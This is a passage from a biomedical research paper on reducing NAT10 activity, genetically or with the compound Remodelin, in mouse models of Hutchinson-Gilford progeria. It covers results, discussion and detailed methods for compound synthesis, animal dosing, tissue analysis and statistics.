While LmnaG609G/G609G mice were reported to be infertile24, under our husbandry they were sub-fertile: LmnaG609G/G609G males had decreased sperm counts (Supplementary Fig. 5b), but these sperms were motile and able to fertilize wild-type oocytes (Supplementary Fig. 5c). Similarly, LmnaG609G/G609G females produced morphologically normal oocytes that were meiotically competent (Supplementary Fig. 5d, e), and the super-ovulated eggs from LmnaG609G/G609G females could be fertilized by WT sperm (Supplementary Fig. 5c). However, while LmnaG609G/G609G females never produced litters, LmnaG609G/G609G males could father pups, albeit at a very low frequency and never more than one litter. These data suggested that sub-fertility of HGPS mice was caused by decreased reproductive fitness, rather than by a specific physiological problem. Strikingly, global fitness/health improvements associated with reduced Nat10 gene dosage in LmnaG609G/G609GNat10+/− mice (Supplementary Movies 23) correlated with an enhancement of male and female fertility (Supplementary Fig. 5f; 45% in LmnaG609G/G609GNat10+/− vs. 21% in LmnaG609G/G609G).
While we, like others, have used homozygous LmnaG609G/G609G to model HGPS, it is important to note that patients carry a heterozygous Lmna mutation, leading to the expression of both WT Lamin A and progerin. We therefore wished to study the effect of reducing Nat10 gene dosage in heterozygous Lmna+/G609G mice. Extending upon the previous report showing reduced lifespan of such mice24, we performed an extensive phenotypic analysis of Lmna+/G609G mice and found them to display similar premature aging phenotypes as the homozygous mutant (Supplementary Fig. 6, Supplementary Data 4), albeit with delayed onset. When we assessed the impact of Nat10 heterozygosity in this human-disease model, we found that Lmna+/G609GNat10+/− mice lived significantly longer before displaying age dependent body-weight decline, compared to Lmna+/G609GNat10+/+ mice. Indeed, there was a 90 day gap between the longest lived (based on 20% BW loss) Lmna+/G609GNat10+/− mouse and the longest lived Lmna+/G609GNat10+/+ mouse (Fig. 4g; Supplementary Table 3). In addition, the Lmna+/G609GNat10+/− mice displayed decreased back curvature (Supplementary Fig. 7). Taken together, these data show that Nat10 haploinsufficiency enhances health in both the homozygous and the heterozygous HGPS mouse models.
### Identification of readouts for NAT10 inhibition in HGPS
To investigate the impacts of NAT10 inhibition in vivo, and as the main cause of death in HGPS patients is due to heart dysfunction, we performed global gene-expression analyses on tissues derived from hearts of LmnaG609G/G609GNat10+/− and Remodelin-treated LmnaG609G/G609G mice, compared to their respective controls (Supplementary Data 5). This work identified a specific set of genes (Supplementary Fig. 8a)—largely connected to metabolic pathways (Supplementary Fig. 8b)—as significantly upregulated (blue) or downregulated (red) in LmnaG609G/G609G mice, compared to WT (Supplementary Fig. 8a, lane 1). Interestingly, some of these gene-expression differences (* in Supplementary Fig. 8a) were counteracted by both Remodelin treatment (row 2) and Nat10 depletion (row 3). Further investigation would be required to establish whether these might comprise a gene-expression signature for amelioration of HGPS pathologies by NAT10 inhibition. Collectively, these data highlighted a strong correlation between NAT10 chemical inhibition and its genetic depletion on cellular imbalances, caused by the Lmna G609G/HGPS mutation. They also suggested the potential for gene-expression signatures as readouts for HGPS and its alleviation.
As acetylation of α-tubulin lysine 40 (K40) is a documented NAT10 target31,32, we evaluated it as another potential readout for NAT0 inhibition in vivo. Indeed, quantitative analyses established that patient-derived HGPS fibroblasts, as well as LmnaG609G/G609G mouse-derived skin cells and tissues, displayed increased acetyl-α-tubulin K40, when compared to WT controls (Fig. 5; Supplementary Fig. 9), probably associated with increased microtubule stability, contributing to HGPS cellular phenotypes25. However, this was not associated with significant and consistent increased NAT10 protein levels, suggesting that NAT10 enzymatic activity might be elevated, leading to increased α-tubulin acetylation. In line with these findings, Remodelin treatment or reduced Nat10 gene dosage decreased acetyl-α-tubulin K40 levels in extracts from cells and mouse tissues (Fig. 5a, b; Supplementary Fig. 9a, b), in cultured cells (Fig. 5c), and as detected by in situ mouse-tissue staining (Fig. 5d; Supplementary Fig. 9cd). These results thus indicated that α-tubulin K40 acetylation is increased in both human HGPS cells and in the mouse HGPS model, in a manner counteracted by Remodelin treatment, thereby suggesting this acetylation mark as a potential readout for NAT10 inhibition in vivo.
## Discussion
HGPS, a debilitating premature aging disease whose features strikingly resemble the accelerated aspects of normal aging, represents a paradigm for translational medicine in the arena of aging research33. The complex nature of this segmental syndrome makes it difficult to target therapeutically, with standard therapeutic approaches mainly aiming at preventing the expression or the accumulation of progerin on the nuclear envelope. Thus, strategies that have so far received most attention largely involve the targeting enzymes participating in the progerin pathway10, including HMG-CoA reductase, farnesyl-pyrophosphate synthase, farnesyl transferase21, isoprenylcysteine carboxyl methyltransferase, as well as modulating Lmna pre-mRNA splicing by morpholino compounds24. Notably, there is encouraging evidence that HGPS children treated with the FTI lonafarnib display improved vascular stiffness and bone structure21, as well as 33% increased survival, based on Kaplan–Meier area under the curve estimations10. Because FTI treatment is now essentially standard-of-care and the HGPS patient population is small (~1 in 18 million)34, further clinical trials will likely be arranged as combined therapies with lonafarnib22.
Our results show that NAT10 genetic depletion or its chemical inhibition by the compound Remodelin lead to healthspan enhancements— as indicated by effects on age-dependent BW loss, cardiac function, back curvature, fitness, and genomic instability—in both homozygous and heterozygous HGPS mice, through a mechanism that appears to be independent of progerin. Reinforcing our conclusions, we have recently carried out further studies with a Remodelin derivative, Remodelin-fluor (Supplementary Fig. 10a), that in HGPS cells showed the same effect as Remodelin at half the Remodelin dose (Supplementary Fig. 10b). Using this compound in mice, we observed hair graying (Supplementary Fig. 10c) and no drug-induced weight loss (Supplementary Fig. 10d). Moreover, Remodelin-fluor treatment led to a significant decrease in the timeframe of body-weight loss along with 30% increase in Kaplan–Meier area under the curve for treated mice, as compared to vehicle-treated mice (Supplementary Fig. 10e; Supplementary Table 3). While we did not see Remodelin-induced effects on low mineral density and bone mineral content in HGPS mice (see Supplementary Data 3), we observed significant disease amelioration by Remodelin treatment and Nat10 genetic depletion in critical organs, such as the heart. Notably, these cardiovascular effects were not only restricted to the aorta, but also included impacts on other large vessels of the heart, such as the coronary arteries. These effects are of potential clinical relevance because advanced coronary disease is prevalent in HGPS patients, even in the absence of high blood pressure29,35. We also note that, in contrast to FTI36, Remodelin decreases markers of genome instability in HGPS cells and organs. We showed in our previous work that combining FTI and Remodelin in HGPS patient cells does not improve the cellular phenotypes further, compared to Remodelin alone (see Supplementary Fig. 8 of Larrieu et al., Science 201425). However, as they act in different pathways, it is possible that the phenotypes in vivo would benefit from the drug combination, which will likely be the scope of ensuing studies.
Collectively, our data thus highlights the potential for NAT10 inhibitors in treating HGPS in combination with lonafarnib, where additive therapeutic effects might be anticipated. While we found that complete Nat10 deletion resulted in early embryonic lethality in mice, Nat10 haploinsufficiency or chemical inhibition via Remodelin treatment did not confer any profound side effects. Because NAT10 is a 115 kDa protein with multiple functional domains, it could be that the lethality associated with its total loss is linked to another aspect of the NAT10 protein, other than its N-acetyltransferase function. In this regard, we note that in Caenorhabditis elegans, a null allele of NAT10, nath-10(tm2624), causes fully penetrant embryonic lethality in the homozygous state. By contrast, the nath-10(N2) hypomorphic allele, containing a polymorphism in the N-acetyltransferase domain, did not cause pathology in a homozygous setting, but instead conferred increased fitness and a strong competitive advantage over WT animals37. While these and our data are encouraging from the perspective of considering NAT10 inhibition as a therapeutic approach for HGPS, the fact that our understanding of NAT10 biology is still in its infancy means that any clinical studies should be explored with caution.
The small number of HGPS patients and the diverse nature of their pathologies provide challenges for the evaluation of potentially new HGPS therapies in the clinic22. If NAT10 inhibitors are explored in clinical settings, it will thus be extremely valuable to assess target engagement. In this regard, it will be of interest to investigate the potential of the gene-expression signatures that we have found to be associated with HGPS cells, and which are rebalanced toward WT profiles by either Remodelin treatment or NAT10 depletion. Furthermore, our data suggests that acetylated α-tubulin lysine 40 (K40), a known NAT10 target31,32, might also be used as a readout for NAT10 inhibition in cells and in vivo. These findings also correlated with our previous data, indicating that NAT10 inhibition ameliorates HGPS cellular phenotypes, at least in part, by mediating microtubule destabilization25. As α-tubulin acetylation at K40 is elevated in HGPS tissues and the cells are compared to controls, it will be of interest to explore whether this could be used to monitor disease progression and also enhance our understanding of disease pathobiology. Finally, we speculate that because the hallmarks of HGPS are present at lower levels in the vasculature and other tissues of aged-normal individuals33, NAT10 targeting might offer therapeutic opportunities in broader settings. In accord with such a possibility, we have recently reported the effects of NAT10 inhibition in normally aged smooth muscle cells26, that might suggest the potential for NAT10 inhibition in the context of normal ageing.
## Methods
### Synthesis of Remodelin and derivatives
All solvents and reagents were purified using standard techniques, or used as supplies from commercial sources (Sigma-Aldrich). NMR spectra were acquired on a Bruker 500 MHz instrument, with deuterated solvents at 300 K. Notation for the 1H NMR spectral splitting patterns includes: singlet (s), doublet (d), triplet (t), broad (br), and multiplet/overlapping peaks (m). Signals are quoted as values in ppm and coupling constants (J) are quoted in Hertz. Mass spectra were recorded on a Micromass® Q-Tof (ESI) spectrometer. General procedure: The appropriate ketone or aldehyde was dissolved in isopropanol at a final concentration of 0.5 M and refluxed for 24 h in the presence of an equimolar amount of thiosemicarbazide. The corresponding thiosemicarbazones were isolated by filtration and recrystallized from hot ethanol. Equimolar amounts of thiosemicarbazones and the desired haloketones were stirred at room temperature in isopropanol overnight at a final concentration of 0.2 M. The resulting products were recrystallized from hot ethanol several times to yield pure products and were used without further purification.
4-(4-cyanophenyl)-2-(2-cyclopentylidenehydrazinyl)thiazole (Remodelin): 2-cyclopentylidenehydrazine-1-carbothioamide (1 g, 4.46 mmol) and 2-bromo-4’-cyanoacetophenone (700 mg, 4.45 mmol) were stirred overnight in 12 ml of isopropanol at room temperature. The precipitate was filtered and recrystallized from hot ethanol to yield the hydrobromide salt of the desired compound (559 mg, 1.98 mmol, 45%) as light-yellow needles.1H NMR (500 MHz, CDCl3): δ 12.11 (br s), 7.84 (d, J = 9.0 Hz, 2H), 7.81 (d, J = 9.0 Hz, 2H), 6.84 (s, 1H), 2.61 (t, J = 9.0 Hz, 2H), 2.51 (t, J = 9.0 Hz, 2H), 1.94–1.80 (m, 4H); 13C NMR (125 MHz, CDCl3): δ 173.8, 169.5, 138.8, 133.5, 131.3, 126.3, 118.0, 114.1, 103.8, 33.7, 31.2, 25.2, 25.0; HRMS (m/z): [M]+ calcd. for C15H15N4S, 283.1009; found, 283.1017. Molecule 4 was resuspended in DMSO at 10 mg/ml.
4-(4-trifluoromethylphenyl)-2-(2-cyclopentylidenehydrazinyl)thiazole (Remodelin Fluor): 2-cyclopentylidenehydrazine-1-carbothioamide (3.0 g, 18.7 mmol) and 2-bromo-4’-(trifluoromethyl)acetophenone (5.0 g, 18.7 mmol) were stirred in isopropanol (150 mL) at r.t. for 24 h. The precipitate was filtered and recrystallized three times from hot ethanol to yield the hydrobromide salt of Remodelin Fluor as bright yellow needles (1.5 g, 3.7 mmol, 20%). 1H NMR (300 MHz, CDCl3) δ 11.12 (br s, 2H), 7.80 (d, J = 8.5 Hz, 2H), 7.65 (d, J = 8.5 Hz, 2H), 6.87 (s, 1 H), 2.53 (t, J = 7.0 Hz, 2 H), 2.47 (t, J = 7.0 Hz, 2 H), 1.93–1.75 (m, 4 H). 13 C NMR (75 MHz, CDCl3) δ 171.9, 169.4, 140.3, 131.8 (q, J = 32.0 Hz), 131.6, 126.5 (br q, J = 3.5 Hz, 2 C), 126.1 (2 C), 123.7 (q, J = 274.0 Hz), 103.5, 33.5, 30.6, 25.1, 24.9. HRMS (m/z): [M + H] + calculated for C15H15F3N3S, 326.0933; found, 326.0950. See Fig. S2A for the synthesis reaction.
### Animals—ethical information
For the studies at the Wellcome Trust Sanger Institute (WTSI) the care and use of all mice used to generate data for this protocol was carried out in accordance with UK Home Office regulations, UK Animals (Scientific Procedures) Act of 2013 under UK Home Office licenses which approved this, and were reviewed regularly by the WTSI Animal Welfare and Ethical Review Board. For the studies at Crown Biosciences the protocols and any amendment(s) or procedures involving the care and use of animals in this study were reviewed and approved by the Institutional Animal Care and Use Committee (IACUC) of Crown Biosciences. During the study, the care and use of animals were conducted in accordance with the regulations of the Association for Assessment and Accreditation of Laboratory Animal Care (AAALAC AN-1308-017-66).
### Animals—housing and husbandry
At WTSI, mice are maintained in a specific pathogen-free unit on a 12-h light and 12-h dark cycle with lights off at 19:30 and no twilight period. The ambient temperature is 21 ± 2 °C, and the humidity is 55 ± 10%. Mice are housed using a stocking density of 3–5 mice per cage (overall dimensions of caging: 365 × 207 × 140 mm (length × width × height), floor area 530 cm2) in individually ventilated caging (Tecniplast, Sealsafe 1284 L) receiving 60 air changes per hour. In addition to Aspen bedding substrate, standard environmental enrichment of two Nestlets, a cardboard fun tunnel and three wooden chew blocks are provided. Mice were given water and diet (Teklad Global 18% Protein Rodent Diet/Envigo) ad libitum. At Crown Biosciences, mice were housed at an average temperature of 23.5 °C with a 7:00 am–19:00 pm light and 19:00 pm – 7:00 am (next day) darkness cycle in polysulfone IVC cages (3 mice/cage; 325 mm × 210 mm × 180 mm). Mice were fed Co60 irradiation sterilized dry granule mouse diet. Animals had free access to food and water during the entire study period. Mice had no drug or test naïve prior to treatment.
### Engineering of the Nat10tm1a(KOMP)Wtsi (Nat10+/−) mice
Mice carrying the knockout-first conditional-ready allele Nat10tm1a(KOMP)Wtsi (abbreviated to Nat10tm1a) were generated on a C57BL/6 N background as part of the Sanger Mouse Genetics Project (MGP). Detailed description of the Sanger Mouse Genetics Project methodology has been reported38. Briefly, a promoter-containing cassette (L1L2_ Bact_P) was introduced upstream of the critical Nat10 exon 4 at position 103754720 of Chromosome 2, Build GRCm38. The vector containing Nat10tm1a was electroporated into C57BL/6 N derived JM8A3.N1 ES cells. Correct ES cell gene targeting was confirmed by long-range PCR and quantitative PCR. Targeted ES cells were microinjected into blastocysts and used to generate chimeras. Germ-line transmission was confirmed by genotyping PCR analyzes (http://www.knockoutmouse.org/kb/25/). Mice obtained from heterozygous intercross were genotyped for the Nat10tm1a allele by PCR. Mice were killed by CO2 inhalation followed by cervical dislocation.
### Use of the LmnaG609G and LmnaG609G Nat10+/−mice
LmnaG609G (C57BL/6N) mice were imported from the laboratory of Carlos-Lopez Otin39 and re-derived on the line C57BL/6NTac at the Wellcome Trust Sanger Institute (WTSI). Mouse genotyping was performed from tail biopsies39. Nat10 KO mice were generated in the C57BL/6NTac background as part of the Mouse Genetics Project at the WTSI40. The double mutant combinations were maintained on the same C57BL/6NTac background. Experimental animals were maintained under close supervision according to the following protocol. Upon weaning LmnaG609G/G609G homozygous animals and littermate Lmna+/+ wild-type (WT) controls were set up in experimental cohorts and weighed weekly. WT and mutant experimental animals were housed together randomly in multiple cages to reduce cage bias. Treatment and weight measurements were carried out by the mouse facility technicians blind of the scientific background or goals of the experiment. When animals reached 10% BW loss they were weighed every other day and wet pellets provided on the floor daily. Upon 15% BW loss animals were weighed and monitored daily and culled when they passed over 19% BW loss. A number of male mice of the LmnaG609G/G609G genotype have presented with penile prolapse and upon detection they have been culled and indicated as incidence of penile prolapse (Supplementary Fig. 5a). Over the course of the study three mice of the LmnaG609G/G609G genotype have been found dead. No drug or naïve test was performed prior to treatment or testing. Animals have been killed by CO2 inhalation followed by cervical dislocation. WTSI facility runs periodic health reports that indicate that the mice were free of known viral, bacterial and parasitic pathogens. For analysis of embryonic development of Nat10 KO mice, timed matings were performed at noon and the day of vaginal plug detection was defined as embryonic day E0.5. Movies and pictures were made using a Sony Cyber-shot DSC-HX10V GPS camera. Mouse health evaluation was performed by trained technicians using established protocols41.
### Small-molecule dosing
Remodelin and Remodelin Fluor were dissolved in a solution of 20% DMSO, 65% (45% 2-Hydroxypropyl-b-cyclodextrin solution, H5784 Sigma Aldrich) and 15% Tween 80 (P8074 Sigma Aldrich). The vehicle-treated animals were given this solution alone, without Remodelin. Remodelin and Remodelin Fluor were administered daily by oral gavage at 100 mg per kg per day and 50 mg per kg per day respectively (defined as non-toxic doses in toxicity studies), from day 21 and until culled. Dosing needle—Instech FTP-20–30 Plastic feeding tubes, 20ga × 30 mm 1 ml syringes and 20ga dosing needles were used as they are appropriate for the volume to be administered and for the size of the mice. During each dosing session, the vehicle only was administered to each animal in the control group before administering Remodelin to each animal in the treated group to avoid cross-contamination. BWs were recorded for each mouse before dosing and the dose volume was calculated according to the BW. The mice were restrained by scruffing the back of the neck, the dosing needle was presented through the mouth down into the esophagus in a smooth motion. Once in situ, the dose (calculated to a 100–200 µl volume) was administered to the mouse. Additional food was moistened and added to the floor of each cage to facilitate food consumption following the dosing procedure. The end-point criteria were represented by 20% BW loss, mice that were found dead or moribund or mice that presented with penile prolapse, a distinctive clinical phenotype for the progeric male mice. All animals were used to represent the survival curves; n = 1 Remodelin-treated LmnaG609G/G609G mouse presented with haemangioma at 79 days of age and was censored into the survival analysis. Treatment and weight measurements were carried out by the mouse facility technicians blind of the scientific background or goals of the experiment. The comparison between LmnaG609G/G609G vehicle and LmnaG609G/G609G no treatment showed no significant difference (p = 0.56). We utilized an informal method of randomizing within each batch to assign mice to treatment using mouse database ID. Mice were used from multiple cages and litters.
### Assessment of remodelin toxicity in vivo and dosing
Remodelin toxicity was assessed by the Crown Biosciences on 12 6-week-old C57BL/6N female mice, with a BW of 20 g on average (see Table S2. Animal supplier: Shanghai Laboratory Animal Center SLAC, Shanghai, China). At WTSI, Remodelin and Remodelin Fluor were dissolved in a solution of 20% DMSO, 65% (45% 2-Hydroxypropyl-b-cyclodextrin solution, H5784 Sigma Aldrich) and 15% Tween 80 (P8074 Sigma Aldrich). The vehicle-treated animals were given this solution alone, without Remodelin. Remodelin and Remodelin Fluor were administered daily by oral gavage at 100 mg per kg per day and 50 mg per kg per day respectively (defined as non-toxic doses in toxicity studies), from day 21 and until culled. Animals have been killed by CO2 inhalation followed by cervical dislocation.
### Pharmacokinetics evaluation of Remodelin
The pharmacokinetics of Remodelin was assessed by the Crown Bioscience (Supplementary Tables 1 and 2) and the Xenogesis Ltd., Nottingham, UK (Supplementary Fig. 1c). The administration of Remodelin and sample collection in each WT study group are shown in the following experimental design tables Tables S1 and S2 (IV = intravenous; PO = per os (by mouth)). The LmnaG609G mice were treated with 100 mg/kg Remodelin for 6 weeks and tissues and plasma collected 1 h after the last dosing. Animals were randomly assigned to groups. Before grouping and treatment, all animals were weighed, and assigned into groups using randomized block based on their BW. Within each block, experimental animals were randomly assigned to the different groups. Randomized block design was used to assign experimental animals to ensure that each animal has the same probability of being assigned to any given treatment groups and therefore minimizing systematic error. Animals showing obvious signs of severe distress and/or pain were humanely killed. Animal that had lost significant body mass (>20%, emaciated) were killed. Animals found to have other severe health problems, i.e., prolonged diarrhea, persistent anorexia, lethargy or failure to respond to gentle stimuli, labored respiration, or that could not get to adequate food or water, etc., were removed from the study and killed (n = 3; sub-cutaneous administration; data not shown). LC/MS/MS method development was used to assess the test compound in plasma. A minimum of 6 standards with LLOQ < 5 ng/mL and a minimum of five standards back were calculated to within ±20% of their nominal concentrations. A total of six QC samples at three concentrations (Low, Mid, and High) were included in sample runs with a minimum of four QC back were calculated to within ±20% of their nominal concentrations. Plasma samples were analyzed following the above criteria.
### Cell lines
Normal skin primary fibroblasts GM03440 and Hutchinson Gilford Progeria Syndrome (HGPS) skin primary fibroblasts AG11513 and A11498 were purchased from Coriell Cell Repositories and used between passage number 9–17. Cells were grown in Dulbecco’s modified Eagle medium (DMEM, Sigma-Aldrich) supplemented with 10% fetal bovine serum (BioSera), 2mM L-glutamine, 100 U/ml penicillin, 100 μg/ml streptomycin. All cell lines were tested for mycoplasma contamination using the Charles River Mycoplasma Testing Services.
### Antibodies
Antibodies used in this study are: Lamin A/C (sc-6215 Santa-Cruz 1:200 for Western Blotting and 1:100 for Immunofluorescence), NAT10 (13365-1-AP ProteinTech Europe 1:400 for Western Blotting), γH2AX (05-636 Millipore, 1:200 for Western Blotting and 1:100 for Immunofluorescence), H2AX (ab11175 Abcam, 1:500 for Western Blotting), β Actin (ab8226, Abcam, 1:1000 for Western Blotting), Acetyl α Tubulin (K40) (5335 Cell Signaling, 1:500 for Western Blotting and 1:100 for Immunofluorescence), α Tubulin (T9026 Sigma-Aldrich, 1:1000 for Western Blotting and 1:400 for Immunofluorescence).
### Immunoblotting of mouse tissues
Mice were killed by CO2 inhalation followed by cervical dislocation. Mouse tissues were snap-frozen in liquid N2 and immediately stored at −80 °C. 40 µl/g of protein extraction buffer (50 mM Tris pH 7.5, 150 mM NaCl, 0.1% NP-40, 0.5% CHAPS, 5 mM MgCl2, 10% glycerol, MilliQ distilled water) or Laemmli Buffer (S3401 SIGMA). Mini-protease and mini-phosphatase tablets were added to each sample in conjunction with a stainless-steel bead (7 mm; QIAGEN) and physically disrupted using the TissueLyser LT (QIAGEN), in 2 × 5 min cycles with 5 min rest on ice in between. After removing the stainless-steel bead, the lysates were sonicated using the BioruptorTM Next Gen (Diagenode), 2 × 20 min cycles (30 s on, 30 s off), and a 20 min rest period on ice in between. The tissue debris was separated from the protein content by centrifugation using a bench Eppendorf centrifuge 5417R (Eppendorf) for 30 min, at 4 °C, and 16400 rpm. The quantity of protein was measured using PierceTM BCA protein assay kit (Thermo Scientific) and Multiskan GO (Thermo Scientific) at an absorbance of 562 nm.
### Immunoblotting of cell extracts
Total cell extracts were prepared by scraping cells in SDS lysis buffer (4% SDS, 20% glycerol, and 120 mM Tris-HCl, pH 6.8), boiling for 5 min at 95 °C, followed by ten strokes through a 25-gauge needle. Before loading, cell or tissue lysates were diluted with a solution of 0.01% bromophenol blue and 200 mM DTT and boiled for 10 min at 95 °C. Proteins from individual mice/cell lines were resolved by SDS-PAGE on 4%–12% gradient gels (NUPAGE, Life Sciences) and transferred onto nitrocellulose membranes (Protran; Whatman). Secondary antibodies conjugated to IRDye were from LI-COR Biosciences. Western blots shown are representative of three repeats. Detection and quantification was performed with an imager (Odyssey; LI-COR Biosciences). Uncropped Western blots are presented in Supplementary Figure 11.
### Immunofluorescence
Isolation and culture of adult mouse fibroblasts from skin and lungs were performed using an established protocol42. Cells were washed with PBS and fixed for 10 min with 4% PFA in PBS. Cells were permeabilised for 5 min with PBS/0.2% Triton X-100 and blocked with PBS/0.2% Tween 20 (PBS-T) containing 5% BSA. Coverslips were incubated for 1 h with primary antibodies and for 30 min with appropriate secondary antibodies coupled to Alexa Fluor 488 or 594 fluorophores (Life Technologies), before being incubated with 2 μg/ml DAPI. Pictures were acquired with a FluoView 1000 confocal microscope (Olympus) and images were quantified using ImageJ. All the immunofluorescence experiments were performed independently at least three times and the pictures shown in the figures are representative images of at least three experiments.
### Histology and immunohistochemistry
All major organs were isolated following killing and then fixed in 10% formalin overnight. On the second day the fixed organs were transferred to 70% ethanol, were placed in cassettes, embedded in paraffin and serial 5 μm sections were collected on Superfrost Plus slides (Fisher) using a Leica microdissection system (LMD7000). Hematoxilin and eosin (HE) and immunohistochemistry staining were performed using standard protocols43. The organs were examined for abnormalities by a Board Certified Veterinary Pathologist (MJ). Sections of heart containing aortic outflow, pulmonary artery and myocardium were stained using a primary antibody against alpha smooth muscle actin (SMA-Sigma Aldrich Cat No: A2547 1:1000) and a secondary antibody (Alexa 488 Life Technologies at 1:100). The heart sections were also stained using DAPI alone and with an antibody against Acetyl α Tubulin (K40) (5335 Cell Signaling). Representative histology images were obtained from whole slide images scanned on a Hamamatsu NanoZoomer in brightfield and fluorescence modes. The thickness of the subcutaneous fat layer in the skin and nuclei number in the aorta were measured using whole slide images and the Hamamatsu NDP view software at a magnification of ×200 (resolution of 0.45 μm per pixel). The skin (always the same region/the flanks) and aorta regions for analysis were identified by a pathologist (MJ) and manually annotated using the HALO image analysis software (Indica Labs). The cells inside these annotated regions were identified and counted using the HALO software CytoNuclear v1.5 algorithm, the output of cell density (cells/mm2) was used to differentiate between the treatment groups. SMA intensity quantification was performed using ImageJ.
### Oocyte culture and immunofluorescence
Oocytes were isolated from ovaries of 8-week old C57BL/6 N female mice and cultured in M2 medium covered by mineral oil at 37 °C. Isolated oocytes were maintained in prophase arrest by addition of 250 µM dbcAMP (Sigma; D0627). To induce resumption of meiosis, oocytes were released into dbcAMP-free medium. For immunofluorescence, oocytes were fixed for 30 min at 37 °C in 100 mM HEPES (pH 7; titrated with KOH), 50 mM EGTA (pH 7; titrated with KOH), 2% formaldehyde (methanol free) and 0.2% Triton X-100. Fixed oocytes were incubated in PBS with 0.1% Triton X-100 overnight at 4 °C. Antibody incubations were performed in PBS, 3% BSA, and 0.1% Triton X-100. Primary antibodies used were rat anti-Nup98 (Abcam, ab50610; 1:100) and rat anti-tyrosinated-α-tubulin (YOL1/34, AbD Serotec; 1:3000). Secondary antibodies used were Alexa-Fluor-488-labeled anti-rat (Molecular Probes; 1:400). DNA was stained with 5 mg/ml Hoechst 33342 (Molecular Probes). Images were acquired with a Zeiss LSM710 microscope equipped with a 63 × C-Apochromat 1.2 NA water-immersion objective.
### Generation of oocytes and in vitro fertilization
Three 4- to 5-week-old C57BL/6NTac females per sperm sample were super-ovulated by intraperitoneal (IP) injection of 5IU of pregnant mare’s serum at 17:00 h (on a 12 h light/dark cycle, on at 07:00/off at 19:00) followed 48 h later by an IP injection of 5IU human chorionic gonadotrophin. Oviducts were dissected at ~07:50 am on the day of the in vitro fertilization (IVF), and cumulus-oocyte complexes were transferred into the IVF fertilization dish containing human tubal fluid (HTF) + glutathione (GSH). An aliquot of 20 µl of sperm from the pre-incubation dish was then added to the fertilization dish. After allowing 3–4 h for fertilization to occur the embryos were washed and cultured overnight in HTF at 37 °C, 5% CO2 in air.
### High-throughput phenotypic screen
The high-throughput phenotyping screen, is a series of standardized tests performed on all mice that enter the screen and conducted according to standard operating procedures (SOPs). The tests cover a broad range of biological areas, including metabolism, cardiovascular, neurological and behavioral, bone, sensory and hematological systems and plasma chemistry. The data were obtained following the SOPs available at IMPReSS (www.mousephenotype.org/impress)40. Factors predicted to affect the variables were standardized where possible. If this was not possible, measures were taken to reduce potential bias. For example, the impact of different people performing the test was minimized (known as the “minimized operator”) as defined in the Mouse Experimental Design Ontology (MEDO)44. The data captured with the MEDO ontology can be found at http://www.mousephenotype.org/about-impc/arrive-guidelines. In addition, pre-established reasons were defined for QC failures (e.g., insufficient sample, error with equipment during test) and detailed using IMPRESS. This provides standardized options and criteria as agreed by area experts as to when data can be discarded. All discarded data is retained and tracked in a database to allow QC-failed data to be audited. Phenotyping data are collected at regular intervals on age, sex, and strain-matched wildtype (control) mice. In total, at least seven homozygote mice of each sex per knockout line were generated for phenotyping. If no homozygotes were obtained from ≥28 offspring from heterozygote intercrosses at P14, the line was declared homozygous lethal. Similarly, if less than 13% of the pups resulting from intercrossing were homozygous survive to P14, the line was judged as being homozygous subviable. In this event, heterozygote mice were examined in the phenotyping screen. The random allocation of mice to experimental group (wildtype vs. knockout) was driven by Mendelian Inheritance. Because of the high-throughput nature of the phenotyping screen, blinding the operators to the identity of knockout lines (both which line to be studied and the zygosity of the individual mouse) during phenotyping was not employed as the cage cards used to identify the mice includes genotype information. However, in a high throughput environment without a defined hypothesis, the potential bias is minimized. In all cases, the individual mouse was considered the experimental unit. Further experimental design strategies (e.g., exact definition of a control animal) is defined using a standardized ontology as detailed in Karp et al.44 and is available from the IMPC portal (http://www.mousephenotype.org/about-impc/arrive-guidelines). For each line, n ≥ 5 mice/genotype were studied.
### Comparison between mouse genotypes
Mutant mice at 9 or 12 weeks of age were analyzed in separate groups (n ≥ 3 for each sex/genotype). Prior to entering this workflow, due to the progeria phenotype, mice were assessed for adverse health and welfare to ensure that mice were in a suitable condition for analysis. No mice were excluded from study on this basis. Mice were anaesthetized with 110 mg/kg BW ketamine and 11 mg/kg BW xylazine given intraperitoneally. Mice were then imaged sequentially with three modalities, high resolution X-Ray imaging (MX-20, Faxitron, Tucson, AZ), Dual-energy X-ray Absorptiometry for body composition (Piximus II, GE Healthcare, Hatfield, UK), and with light photography for imaging of dysmorphology. A whole-body lateral image using the MX-20 was collected for the analysis of spinal curvature by trained persons using a standard defined position to minimize inconsistencies between mice. Following this, and while still under anesthesia, blood collection was performed to obtain samples for plasma chemistry and hematological analysis via the retro-orbital route using capillary tubes (cat. no. 078042; Scientific Laboratory Supplies). Mice were then culled by cervical dislocation and heart removal, followed by removal of other organs for analysis. During this series of procedures, the experimenters collecting images and blood samples were not blinded from the genotypes of the mice. However, the analysis of the blood parameters was performed blind and uploaded onto a database. The kyphosis index (KY) was calculated as the ratio between a line drawn between the caudal margin of the last cervical vertebra to the caudal margin of the sixth lumbar vertebra and a line perpendicular to this from the dorsal edge of the vertebra at the point of greatest curvature45. For the data collected on the back curvature, a multilevel regression model was performed using R (package:nlme version 3.1). A model (Eq. 1), treating genotype, sex and age as fixed effects whilst the repeat measure nature of the dataset was accounted for by treating each mouse as a random effect, was fitted to the data. The genotype effect was tested and contrasts used to directly compare LmnaG609G/G609G and LmnaG609G/G609GNat10+/− mice if the genotype effect was significant. For the hypothesis test of primary interest, the impact of genotype, p-values were adjusted to account for the multiple comparisons completed to control the false discovery rate to 0.05. Visual inspection of the data was used to assess whether variance was equal and no outliers were present thus ensuring the assumptions of the model were met.
$${\mathrm{Y\sim Genotype + Sex + Age + }}\left( {{\mathrm{1|Mouse}}} \right)$$
(1)
For the survival analysis, the end-point criteria were represented by 20% BW loss, mice that were found dead or moribund or mice that presented with penile prolapse, a distinctive clinical phenotype for the progeric male mice. All animals were used to represent the survival curves; one LmnaG609G/G609GNat10+/− was reported by the technician staff with a swollen abdomen at 32 days of age and requested to be culled. The mouse was active and within the weight range for the age. No abnormality was found at necropsy but because it was culled for other reasons than end-point criteria it was censored from the analysis.
### Statistical analysis
For all analyzes, the individual mouse was considered the experimental unit within the studies. Survival distributions of the different cohorts were plotted using the Kaplan–Meier estimator and statistical analysis was performed using log-rank (Mantel–Cox) test. For survival analysis, we have completed power calculations for a large size effect and with an n of 10/group. We could detect a 0% to 60% change in survival after treatment, 91% of the time (power of Fisher Exact test, 0.91). To meet the assumption of this statistical method, censoring of an individual mouse could only occur when the culling of a mouse was not related to the genotype/assessed-phenotype (e.g., fight wound leading to overt clinical presentation).
### Nat10+/− and LmnaG609G high-throughput phenotyping data
